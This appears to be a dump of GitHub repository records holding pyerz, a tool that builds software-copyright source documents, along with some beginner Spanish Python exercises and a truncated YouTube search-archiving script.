help='่พ“ๅ‡บๆ–‡ไปถ๏ผˆdocxๆ ผๅผ๏ผ‰๏ผŒ้ป˜่ฎคไธบๅฝ“ๅ‰็›ฎๅฝ•็š„code.docx'\n)\[email protected]('-v', '--verbose', is_flag=True, help='ๆ‰“ๅฐ่ฐƒ่ฏ•ไฟกๆฏ')\ndef main(\n title, indirs, exts,\n comment_chars, font_name,\n font_size, space_before,\n space_after, line_spacing,\n excludes, outfile, verbose\n):\n if not indirs:\n indirs = DEFAULT_INDIRS\n if not exts:\n exts = DEFAULT_EXTS\n if not comment_chars:\n comment_chars = DEFAULT_COMMENT_CHARS\n if verbose:\n logging.basicConfig(level=logging.DEBUG)\n\n # ็ฌฌ้›ถๆญฅ๏ผŒๆŠŠๆ‰€ๆœ‰็š„่ทฏๅพ„้ƒฝ่ฝฌๆขไธบ็ปๅฏน่ทฏๅพ„\n indirs = [abspath(indir) for indir in indirs]\n excludes = del_slash(\n [abspath(exclude) for exclude in excludes] if excludes else []\n )\n\n # ็ฌฌไธ€ๆญฅ๏ผŒๆŸฅๆ‰พไปฃ็ ๆ–‡ไปถ\n finder = CodeFinder(exts)\n files = [file for indir in indirs for file in finder.find(\n indir, excludes=excludes\n )]\n\n # ็ฌฌไบŒๆญฅ๏ผŒ้€ไธชๆŠŠไปฃ็ ๆ–‡ไปถๅ†™ๅ…ฅๅˆฐdocxไธญ\n writer = CodeWriter(\n command_chars=comment_chars,\n font_name=font_name,\n font_size=font_size,\n space_before=space_before,\n space_after=space_after,\n line_spacing=line_spacing\n )\n writer.write_header(title)\n for file in files:\n writer.write_file(file)\n writer.save(outfile)\n return 0\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6737979054450989, "alphanum_fraction": 0.6900978088378906, "avg_line_length": 24.304122924804688, "blob_id": "415650b79ed16aa4daf6fec871f1c6571a5054ee", "content_id": "c8b91b48e9502b6460a52c079f95514bda5dafc2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7406, "license_type": "permissive", "max_line_length": 115, "num_lines": 194, "path": "/README.md", "repo_name": "Waightman/pyerz", "src_encoding": "UTF-8", "text": "# pyerz๏ผš่ฎก็ฎ—ๆœบ่ฝฏไปถ่‘—ไฝœๆƒ็จ‹ๅบ้‰ดๅˆซๆๆ–™๏ผˆๅณๆบไปฃ็ ๏ผ‰็”Ÿๆˆๅ™จ\n\n็›ฎๅฝ•\n=================\n\n * [ๅฎ‰่ฃ…](#ๅฎ‰่ฃ…)\n * [่ƒŒๆ™ฏ](#่ƒŒๆ™ฏ)\n * [ไฝฟ็”จ](#ไฝฟ็”จ)\n * [็จ‹ๅบ้‰ดๅˆซๆๆ–™่ฆๆฑ‚](#็จ‹ๅบ้‰ดๅˆซๆๆ–™่ฆๆฑ‚)\n * [ๅฆ‚ไฝ•ๅฎž็Žฐๆฏ้กต50่กŒ](#ๅฆ‚ไฝ•ๅฎž็Žฐๆฏ้กต50่กŒ)\n * [ๅ‚ๆ•ฐ](#ๅ‚ๆ•ฐ)\n * [็คบไพ‹](#็คบไพ‹)\n * [ๅ…‹้š†ไปฃ็ ](#ๅ…‹้š†ไปฃ็ )\n * [็”Ÿๆˆๆ–‡ๆกฃ](#็”Ÿๆˆๆ–‡ๆกฃ)\n * [ๅธธ่ง้—ฎ้ข˜](#ๅธธ่ง้—ฎ้ข˜)\n * [ๅฆ‚ไฝ•ๆŒ‡ๅฎš้กต็œ‰๏ผŸ](#ๅฆ‚ไฝ•ๆŒ‡ๅฎš้กต็œ‰๏ผŸ)\n * [ๅฆ‚ไฝ•ๆทปๅŠ ๅ…ถไป–ๆ ผๅผ็š„ไปฃ็ ๏ผŸ](#ๅฆ‚ไฝ•ๆทปๅŠ ๅ…ถไป–ๆ ผๅผ็š„ไปฃ็ ๏ผŸ)\n * [ๅฆ‚ไฝ•ๆŽ’้™คๆŒ‡ๅฎšๆ–‡ไปถๆˆ–ๆ–‡ไปถๅคน๏ผŸ](#ๅฆ‚ไฝ•ๆŽ’้™คๆŒ‡ๅฎšๆ–‡ไปถๆˆ–ๆ–‡ไปถๅคน๏ผŸ)\n * [ๅฆ‚ไฝ•่ฐƒๆ•ด้ป˜่ฎค็š„ๆณจ้‡Š้ฃŽๆ ผ๏ผŸ](#ๅฆ‚ไฝ•่ฐƒๆ•ด้ป˜่ฎค็š„ๆณจ้‡Š้ฃŽๆ ผ๏ผŸ)\n * [ๅฆ‚ไฝ•่ฐƒๆ•ดๅญ—ไฝ“๏ผŸ](#ๅฆ‚ไฝ•่ฐƒๆ•ดๅญ—ไฝ“๏ผŸ)\n * [่™ฝ็„ถๆˆ‘็Ÿฅ้“้ป˜่ฎค็š„ๅญ—ไฝ“ใ€ๅญ—ๅทใ€ๆฎตๅ‰้—ด่ทใ€ๆฎตๅŽ้—ด่ทใ€่กŒ้—ด่ทๅฏไปฅๅฎž็Žฐๆฏ้กต50่กŒ๏ผŒไฝ†ๆ˜ฏๆˆ‘่ฟ˜ๆ˜ฏๆƒณ่ฐƒๆ•ด๏ผŒๆ€ŽไนˆๅŠž๏ผŸ](#่™ฝ็„ถๆˆ‘็Ÿฅ้“้ป˜่ฎค็š„ๅญ—ไฝ“ใ€ๅญ—ๅทใ€ๆฎตๅ‰้—ด่ทใ€ๆฎตๅŽ้—ด่ทใ€่กŒ้—ด่ทๅฏไปฅๅฎž็Žฐๆฏ้กต50่กŒ๏ผŒไฝ†ๆ˜ฏๆˆ‘่ฟ˜ๆ˜ฏๆƒณ่ฐƒๆ•ด๏ผŒๆ€ŽไนˆๅŠž๏ผŸ)\n * [่ƒฝไธ่ƒฝ่พ“ๅ‡บๆŸฅๆ‰พๆ–‡ไปถ็š„่ฏฆ็ป†่ฟ‡็จ‹ๅ‘ข๏ผŸ](#่ƒฝไธ่ƒฝ่พ“ๅ‡บๆŸฅๆ‰พๆ–‡ไปถ็š„่ฏฆ็ป†่ฟ‡็จ‹ๅ‘ข๏ผŸ)\n\n## ๅฎ‰่ฃ…\n\n```shell script\npip install pyerz\n```\n\n## ่ƒŒๆ™ฏ\n\nๅทฅไฝœไธญ้œ€่ฆ็”ณ่ฏท่ฝฏไปถ่‘—ไฝœๆƒ๏ผŒ่ฝฏไปถ่‘—ไฝœๆƒ้œ€่ฆๆไพ›ไปฅไธ‹ๆๆ–™๏ผš\n\n1. ็”ณ่ฏท่กจ๏ผšๅฏไปฅๅœจๅฎ˜็ฝ‘้€š่ฟ‡็ฝ‘้กต็”Ÿๆˆ\n2. ่บซไปฝ่ฏๆ˜Ž๏ผšไผไธš็š„่ฏไธ€่ˆฌๅฐฑๆ˜ฏ่ฅไธšๆ‰ง็…ง\n3. ็จ‹ๅบ้‰ดๅˆซๆๆ–™๏ผšไธ€่ˆฌๅฐฑๆ˜ฏๆบไปฃ็ ๆ•ด็†ๅ‡บ็š„PDFๆ–‡ไปถ\n4. ๆ–‡ๆกฃ้‰ดๅˆซๆๆ–™๏ผšไธ€่ˆฌๅฐฑๆ˜ฏ่ฏฅ่ฝฏไปถ็š„ๆ“ไฝœๆ‰‹ๅ†Œ\n\n็”ณ่ฏท่กจ่บซไปฝ่ฏๆ˜Žๆฏ”่พƒๅฅฝๅ‡†ๅค‡๏ผŒๆ–‡ๆกฃ้‰ดๅˆซๆๆ–™ๅˆ™ๅฟ…้กปๆ‰‹ๅ†™๏ผŒ`pyerz`ๅˆ™็”จไบŽ็”Ÿๆˆ็จ‹ๅบ้‰ดๅˆซๆๆ–™ใ€‚็›ฎๅ‰ๆ”ฏๆŒๅฆ‚ไธ‹ๅŠŸ่ƒฝ๏ผš\n\n1. ๆŒ‡ๅฎšๅคšไธชๆบไปฃ็ ็›ฎๅฝ•\n2. ๆŒ‡ๅฎšๅคšไธญๆณจ้‡Š้ฃŽๆ ผ\n3. ๆŒ‡ๅฎšๅญ—ไฝ“ใ€ๅญ—ๅทใ€ๆฎตๅ‰้—ด่ทใ€ๆฎตๅŽ้—ด่ทใ€่กŒ่ท\n4. ๆŽ’้™ค็‰นๅฎšๆ–‡ไปถใ€ๆ–‡ไปถๅคน\n\n## ไฝฟ็”จ\n\n### ็จ‹ๅบ้‰ดๅˆซๆๆ–™่ฆๆฑ‚\n\n1. ๆฏ้กต่‡ณๅฐ‘50่กŒ\n2. ไธ่ƒฝๅซๆœ‰ๆณจ้‡Šใ€็ฉบ่กŒ\n3. ้กต็œ‰้ƒจๅˆ†ๅฟ…้กปๅŒ…ๅซ่ฝฏไปถๅ็งฐใ€็‰ˆๆœฌๅทใ€้กต็ ๏ผˆ่ฝฏไปถๅ+็‰ˆๆœฌๅทๅฑ…ไธญ๏ผŒ้กต็ ๅณไพงๅฏน้ฝ๏ผ‰\n\n### ๅฆ‚ไฝ•ๅฎž็Žฐๆฏ้กต50่กŒ\n\nไธŠ่ฟฐ3็‚น๏ผŒ็ฌฌ2ใ€3ไธค็‚นๆฏ”่พƒๅฅฝๅฎž็Žฐ๏ผŒ็ฌฌ1็‚นๆˆ‘้€š่ฟ‡ๆต‹่ฏ•ๅ‘็Žฐ๏ผŒๅฝ“๏ผš\n\n1. ๅญ—ๅทไธบ10.5pt\n2. ่กŒ้—ด่ทไธบ10.5pt\n3. ๆฎตๅ‰้—ด่ทไธบ0\n4. ๆฎตๅŽ้—ด่ทไธบ2.3pt\n\nๆ—ถ๏ผŒๅˆšๅฅฝๅฎž็Žฐๆฏ้กต50่กŒใ€‚\n\n### ๅ‚ๆ•ฐ\n\n```\nUsage: pyerz [OPTIONS]\n\nOptions:\n -t, --title TEXT ่ฝฏไปถๅ็งฐ+็‰ˆๆœฌๅท๏ผŒ้ป˜่ฎคไธบ่ฝฏไปถ่‘—ไฝœๆƒ็จ‹ๅบ้‰ดๅˆซๆๆ–™็”Ÿๆˆๅ™จV1.0๏ผŒๆญคๅ็งฐ็”จไบŽ็”Ÿๆˆ้กต็œ‰\n -i, --indir PATH ๆบ็ ๆ‰€ๅœจๆ–‡ไปถๅคน๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบๅฝ“ๅ‰็›ฎๅฝ•\n -e, --ext TEXT ๆบไปฃ็ ๅŽ็ผ€๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบPythonๆบไปฃ็ \n -c, --comment-char TEXT ๆณจ้‡Šๅญ—็ฌฆไธฒ๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบ#ใ€//\n --font-name TEXT ๅญ—ไฝ“๏ผŒ้ป˜่ฎคไธบๅฎ‹ไฝ“\n --font-size FLOAT RANGE ๅญ—ๅท๏ผŒ้ป˜่ฎคไธบไบ”ๅท๏ผŒๅณ10.5ๅท\n --space-before FLOAT RANGE ๆฎตๅ‰้—ด่ท๏ผŒ้ป˜่ฎคไธบ0\n --space-after FLOAT RANGE ๆฎตๅŽ้—ด่ท๏ผŒ้ป˜่ฎคไธบ2.3\n --line-spacing FLOAT RANGE ่กŒ่ท๏ผŒ้ป˜่ฎคไธบๅ›บๅฎšๅ€ผ10.5\n --exclude PATH ้œ€่ฆๆŽ’้™ค็š„ๆ–‡ไปถๆˆ–่ทฏๅพ„๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช\n -o, --outfile PATH ่พ“ๅ‡บๆ–‡ไปถ๏ผˆdocxๆ ผๅผ๏ผ‰๏ผŒ้ป˜่ฎคไธบๅฝ“ๅ‰็›ฎๅฝ•็š„code.docx\n -v, --verbose ๆ‰“ๅฐ่ฐƒ่ฏ•ไฟกๆฏ\n --help Show this message and exit.\n```\n\n### ็คบไพ‹\n\nไธ‹้ขไปฅ[django-guardian้กน็›ฎ](https://github.com/django-guardian/django-guardian)ไธบไพ‹ๆฅ่ฏดๆ˜Ž`pyerz`็š„็”จๆณ•ใ€‚\n\n#### ๅ…‹้š†ไปฃ็ \n\n```shell script\ngit clone [email protected]:django-guardian/django-guardian.git\n```\n\n#### ็”Ÿๆˆๆ–‡ๆกฃ\n\n```shell script\npyerz -i django-guardian -o django-guardian.docx\n```\n\n### ๅธธ่ง้—ฎ้ข˜\n\n#### ๅฆ‚ไฝ•ๆŒ‡ๅฎš้กต็œ‰๏ผŸ\n\n```shell script\npyerz -i django-guardian -t django-guardian -o django-guardian.docx\n```\n\n#### ๅฆ‚ไฝ•ๆทปๅŠ ๅ…ถไป–ๆ ผๅผ็š„ไปฃ็ ๏ผŸ\n\nไธŠ่ฟฐๆ–นๆณ•ๅช่ƒฝ่ฏ†ๅˆซPythonๆบ็ ๏ผŒๅฆ‚ๆžœ้œ€่ฆ่ฏ†ๅˆซhtmlใ€cssใ€jsไปฃ็ ๏ผŒๅฏไปฅๆŒ‡ๅฎš`-e`ๅ‚ๆ•ฐใ€‚\n\n```shell script\npyerz -i django-guardian \\\n -t django-guardian \\\n -e py -e html -e js \\\n -o django-guardian.docx\n```\n\n#### ๅฆ‚ไฝ•ๆŽ’้™คๆŒ‡ๅฎšๆ–‡ไปถๆˆ–ๆ–‡ไปถๅคน๏ผŸ\n\n```shell script\npyerz -i django-guardian \\\n -t django-guardian \\\n --exclude django-guardian/contrib/ \\\n --exclude django-guardian/docs/ \\\n --exclude django-guardian/benchmarks/ \\\n --exclude django-guardian/example_project/ \\\n -o django-guardian.docx\n```\n\n#### ๅฆ‚ไฝ•่ฐƒๆ•ด้ป˜่ฎค็š„ๆณจ้‡Š้ฃŽๆ ผ๏ผŸ\n\n้ป˜่ฎคๆƒ…ๅ†ตไธ‹๏ผŒ`pyerz`ๆŠŠไปฅ`#`ใ€`//`ๅผ€ๅคด็š„่กŒไฝœไธบๆณจ้‡Š่กŒๅˆ ้™ค๏ผŒไพ‹ๅฆ‚ๆˆ‘ๆƒณๅˆ ้™คไปฅ`\"\"\"`ๅผ€ๅคด็š„่กŒ๏ผˆPythonๅฆไธ€็งๆณจ้‡Š้ฃŽๆ ผ๏ผ‰๏ผš\n\n```shell script\npyerz -i django-guardian \\\n -t django-guardian \\\n -c '#' -c '//' -c '\"\"\"' \\\n -o django-guardian.docx\n```\n\nๆณจๆ„๏ผŒ`pyerz`็›ฎๅ‰ไธๆ”ฏๆŒๅˆ ้™คๅคš่กŒๆณจ้‡Šใ€‚\n\n#### ๅฆ‚ไฝ•่ฐƒๆ•ดๅญ—ไฝ“๏ผŸ\n\n`pyerz`้ป˜่ฎคไฝฟ็”จๅฎ‹ไฝ“๏ผŒๅฆ‚ๆžœ้œ€่ฆ่ฐƒๆ•ดๅฏไปฅไฝฟ็”จ`--font-name`ๅ‚ๆ•ฐใ€‚\n\n```shell script\npyerz -i django-guardian \\\n -t django-guardian \\\n --font-name menlo \\\n -o django-guardian.docx\n```\n\n#### ่™ฝ็„ถๆˆ‘็Ÿฅ้“้ป˜่ฎค็š„ๅญ—ไฝ“ใ€ๅญ—ๅทใ€ๆฎตๅ‰้—ด่ทใ€ๆฎตๅŽ้—ด่ทใ€่กŒ้—ด่ทๅฏไปฅๅฎž็Žฐๆฏ้กต50่กŒ๏ผŒไฝ†ๆ˜ฏๆˆ‘่ฟ˜ๆ˜ฏๆƒณ่ฐƒๆ•ด๏ผŒๆ€ŽไนˆๅŠž๏ผŸ\n\n```shell script\npyerz -i django-guardian \\\n -t django-guardian \\\n --font-name menlo \\\n --font-size 12 \\\n --space-before 1 \\\n --space-after 5 \\\n --line-spacing 12 \\\n -o django-guardian.docx\n```\n\n#### ่ƒฝไธ่ƒฝ่พ“ๅ‡บๆŸฅๆ‰พๆ–‡ไปถ็š„่ฏฆ็ป†่ฟ‡็จ‹ๅ‘ข๏ผŸ\n\n```shell script\npyerz -i django-guardian -o django-guardian.docx -v\n```\n\n```\n...\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/posts/templates/posts็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/posts/templates็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/posts็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ8ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/core/migrations็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ3ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/core็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ7ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/articles/migrations็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ3ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/articles/templates/articles็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/articles/templates็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/articles็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ10ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/static/css็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/static/js็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/static/img็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/static็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project/templates็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ0ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian/example_project็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ29ไธชไปฃ็ ๆ–‡ไปถ.\nDEBUG:pyerz.pyerz:ๅœจ/Users/dev/Temp/django-guardian็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ94ไธชไปฃ็ ๆ–‡ไปถ.\n```" } ]
2
Panako14/mi_primer_programa_2
https://github.com/Panako14/mi_primer_programa_2
5e399b229e66b863c110d3b167e6f16abd4e8c85
4f470a3a50506f0721f039c0547e5aacb2fe2e8e
8cc063b282947812664face15ae94a6a1884c6fc
refs/heads/master
2020-03-13T08:39:48.902653
2018-06-22T14:27:27
2018-06-22T14:27:27
131,047,982
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.703839123249054, "alphanum_fraction": 0.703839123249054, "avg_line_length": 31.235294342041016, "blob_id": "0876e275ffdd7d4adacc51c4176bfc27866db340", "content_id": "acef0f6d6669c36b48b6ba87a3a0a2a6ccc683ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 551, "license_type": "no_license", "max_line_length": 96, "num_lines": 17, "path": "/calculadora.py", "repo_name": "Panako14/mi_primer_programa_2", "src_encoding": "UTF-8", "text": "operacion = input('ยฟQue operaciรณn quieres realizar (multiplicar / dividir / sumar / restar)?: ')\nprimer_numero = int(input('Dime un nรบmero: '))\nsegundo_numero = int(input('Dime otro nรบmero: '))\n\nif operacion == 'multiplicar':\n resultado = primer_numero * segundo_numero\n\nelif operacion == 'dividir':\n resultado = primer_numero / segundo_numero\n\nelif operacion == 'sumar':\n resultado = primer_numero + segundo_numero\n\nelif operacion == 'restar':\n resultado = primer_numero - segundo_numero\n\nprint('El resultado es {}'.format(resultado))" }, { "alpha_fraction": 0.7014217972755432, "alphanum_fraction": 0.7014217972755432, "avg_line_length": 29.14285659790039, "blob_id": "0589866dbd4987ef34d253c2f211c71fd26b8cb3", "content_id": "6eb6afd0c8bbd58c828bf7dd1073562cf28c8e7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 214, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/adivina_un_numero_2.py", "repo_name": "Panako14/mi_primer_programa_2", "src_encoding": "UTF-8", "text": "numero_a_adivinar = input('Elige un nรบmero: ')\nnumero_elegido = input('Adivina el nรบmero: ')\n\nwhile numero_a_adivinar != numero_elegido:\n numero_elegido = input('Adivina el nรบmero: ')\n\nprint('Has acertado.')\n" }, { "alpha_fraction": 0.6878306865692139, "alphanum_fraction": 0.7089946866035461, "avg_line_length": 30.66666603088379, "blob_id": "ba7c66d564aa4cc5379d0390f8a37a2e7ddc5a51", "content_id": "d47b9ea78e56a52b9185a9d457367aaa5aab63c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 189, "license_type": "no_license", "max_line_length": 56, "num_lines": 6, "path": "/conversor_farenheit_a_celsius.py", "repo_name": "Panako14/mi_primer_programa_2", "src_encoding": "UTF-8", "text": "print('-Conversor de grados Farenheit a Celsius-')\nfarenheit = int(input('Dime los grados en Farenheit: '))\n\ncelsius = (farenheit - 32) /1.8\n\nprint('Son {} grados Celsius.'.format(celsius))" }, { "alpha_fraction": 0.533957839012146, "alphanum_fraction": 0.5351288318634033, "avg_line_length": 30.66666603088379, "blob_id": "b54bb3da2aa9eaa074cb1f1f546b53d9bcbf5429", "content_id": "5522adfbce08d89026713a1beb04b36535d52183", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 859, "license_type": "no_license", "max_line_length": 79, "num_lines": 27, "path": "/adivina_un_numero.py", "repo_name": "Panako14/mi_primer_programa_2", "src_encoding": "UTF-8", "text": "number_to_guess = 2\nuser_number = int(input(\"Adivina un nรบmero: \"))\n\nif user_number == number_to_guess:\n print(\"Has ganado\")\nelse:\n user_number = int(input(\"No es correcto, elige otro nรบmero: \"))\n\n if user_number == number_to_guess:\n print(\"Has ganado\")\n else:\n user_number = int(input(\"No es correcto, elige otro nรบmero: \"))\n\n if user_number == number_to_guess:\n print(\"Has ganado\")\n else:\n user_number = int(input(\"No es correcto, elige otro nรบmero: \"))\n\n if user_number == number_to_guess:\n print(\"Has ganado\")\n else:\n user_number = int(input(\"No es correcto, elige otro nรบmero: \"))\n\n if user_number == number_to_guess:\n print(\"Has ganado\")\n else:\n print(\"Has perdido\")" }, { "alpha_fraction": 0.6097345352172852, "alphanum_fraction": 0.6336283087730408, "avg_line_length": 26.512195587158203, "blob_id": "f63fc2c0e5a6eececa268ae373fb897954b96046", "content_id": "fdabec80ba2ee6435c48b1135a0dc7edc6583c27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1140, "license_type": "no_license", "max_line_length": 134, "num_lines": 41, "path": "/combate_pokemon.py", "repo_name": "Panako14/mi_primer_programa_2", "src_encoding": "UTF-8", "text": "pokemon_elegido = input('Elige un enemigo (Bulbasaur / Charmander / Squirtle): ')\n\nvida_pikachu = 100\nvida_enemigo = 0\nataque_enemigo = 0\n\nif pokemon_elegido == 'Bulbasaur':\n vida_enemigo = 100\n ataque_enemigo = 25\n\nelif pokemon_elegido == 'Charmander':\n vida_enemigo = 80\n ataque_enemigo = 40\n\nelif pokemon_elegido == 'Squirtle':\n vida_enemigo = 90\n ataque_enemigo = 30\n\n\nwhile vida_enemigo > 0 and vida_pikachu > 0:\n\n ataque_pikachu = input('Elige un ataque( Chispazo / Rayo ): ')\n daรฑo = 0\n if ataque_pikachu == 'Chispazo':\n daรฑo = 30\n vida_enemigo -= daรฑo\n\n elif ataque_pikachu == 'Rayo':\n daรฑo = 40\n vida_enemigo -= daรฑo\n\n print('Pikachu usa {} y causa un daรฑo de {}, la vida de {} es de {}.'.format(ataque_pikachu, daรฑo, pokemon_elegido, vida_enemigo))\n vida_pikachu -= ataque_enemigo\n print('{} usa ataque y causa un daรฑo de {}, la vida de Pikachu es de {}'.format(pokemon_elegido, ataque_enemigo, vida_pikachu))\n\nif vida_pikachu <= 0:\n print('ยกHas perdido!')\nif vida_enemigo <= 0:\n print('!Has ganadoยก')\n\nprint('El combate ha terminado.')\n\n\n" } ]
5
C00kiie/youtubeSearch_archive
https://github.com/C00kiie/youtubeSearch_archive
de75c36aeec59ee619f36246908631ef81a76881
857ed3cf13ab72f5a28b01c813bbd4d412c58efd
61579a3a27dd293e67e26393781d0723fccd08fd
refs/heads/master
2022-04-19T10:46:59.223462
2020-04-19T06:15:47
2020-04-19T06:15:47
256,924,096
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.7673130035400391, "alphanum_fraction": 0.7673130035400391, "avg_line_length": 31.81818199157715, "blob_id": "ebd6792ed78e3d4690073a1225e05fd21c282da6", "content_id": "42741c313921a4c2142c28efd9ae7425538101f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 361, "license_type": "no_license", "max_line_length": 101, "num_lines": 11, "path": "/README.md", "repo_name": "C00kiie/youtubeSearch_archive", "src_encoding": "UTF-8", "text": "# Youtube Search Archiver\nA simple script to archive youtube searches content through youtube API\n\n# usage\n* put the script in an empty folder\n* make a file called input.txt, add to it the searches you want to do\n* open the script and add your youtube API key (https://console.developers.google.com/apis/dashboard)\n* Done!\n\n#To-do\nAdd a timestamp on each file\n" }, { "alpha_fraction": 0.613545835018158, "alphanum_fraction": 0.6205765008926392, "avg_line_length": 32.598426818847656, "blob_id": "e2f995a3c8c8f79fd52874eda59a51da92315356", "content_id": "122b3a162a0e2f30825d4723e84181598d10ba9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4267, "license_type": "no_license", "max_line_length": 169, "num_lines": 127, "path": "/main.py", "repo_name": "C00kiie/youtubeSearch_archive", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n\nimport argparse\nimport re\nimport json2html\nimport json\nimport youtube_dl as handler_aux\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\n\n\n# Set DEVELOPER_KEY to the API key value from the APIs & auth > Registered apps\n# tab of\n# https://cloud.google.com/console\n# Please ensure that you have enabled the YouTube Data API for your project.\nDEVELOPER_KEY = '#REPLACE_ME'\nYOUTUBE_API_SERVICE_NAME = 'youtube'\nYOUTUBE_API_VERSION = 'v3'\n\n\nincludes = \"\"\"\n<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" crossorigin=\"anonymous\">\n\"\"\"\nopts = {\n # used to output less verbose information\n 'no_warnings':True,\n 'quiet':True,\n # audios filter\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }]\n}\n\ndef number_readable(number):\n number = str(number)\n orig = number\n new = re.sub(\"^(-?\\d+)(\\d{3})\", '\\g<1>,\\g<2>', number)\n if orig == new:\n return new\n else:\n return number_readable(new)\n\ndef\tget_stats(link):\n statistics = {}\n with handler_aux.YoutubeDL(opts) as ydl:\n # video information for the given video\n info = ydl.extract_info(link, download=False)\n statistics['title'] = info.get('title', None)\n statistics['video_duration'] = info.get(\"duration\", None)\n statistics['like_count'] = number_readable (info.get(\"like_count\", None))\n statistics['dislike_count'] = number_readable (info.get(\"dislike_count\", None))\n statistics['view_count'] = number_readable ( info.get(\"view_count\", None))\n m, s = divmod(statistics['video_duration'], 60)\n h, m = divmod(m, 60)\n if h > 0:\n statistics['video_duration'] = '{}:{}:{}'.format(h, m, s)\n else:\n statistics['video_duration'] = '{}:{}'.format(m, s)\n # checking if video size exceeds the normal limit [50 MB]\n return statistics\n\ndef youtube_search(search_term,max_results):\n\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n developerKey=DEVELOPER_KEY)\n\n # Call the search.list method to retrieve results matching the specified\n # query term.\n search_response = youtube.search().list(\n q=search_term,\n part='id,snippet',\n maxResults=max_results\n ).execute()\n\n video_arr = []\n # Add each result to the appropriate list, and then display the lists of\n # matching videos, channels, and playlists.\n for search_result in search_response.get('items', []):\n if search_result['id']['kind'] == 'youtube#video':\n videoId = search_result['id']['videoId']\n snippet = search_result['snippet']\n link = 'http://www.youtube.com/watch?v='+videoId\n snippet['link'] = link\n url = snippet['thumbnails']['high']['url']\n snippet.pop('thumbnails')\n snippet['thumbnail'] = '<img src=\"{0}\">'.format(url)\n snippet.pop('liveBroadcastContent')\n statistics = get_stats(link)\n for i in statistics.keys():\n snippet[i] = statistics[i]\n pub = snippet['publishedAt']\n snippet.pop('publishedAt')\n snippet['publishedAt'] = pub\n snippet.pop('channelId')\n video_arr.append(snippet)\n return video_arr\ndef json2html_output(search_term,maxResults=10):\n items = youtube_search(search_term,maxResults)\n \n for i in items:\n i['link'] = '<a 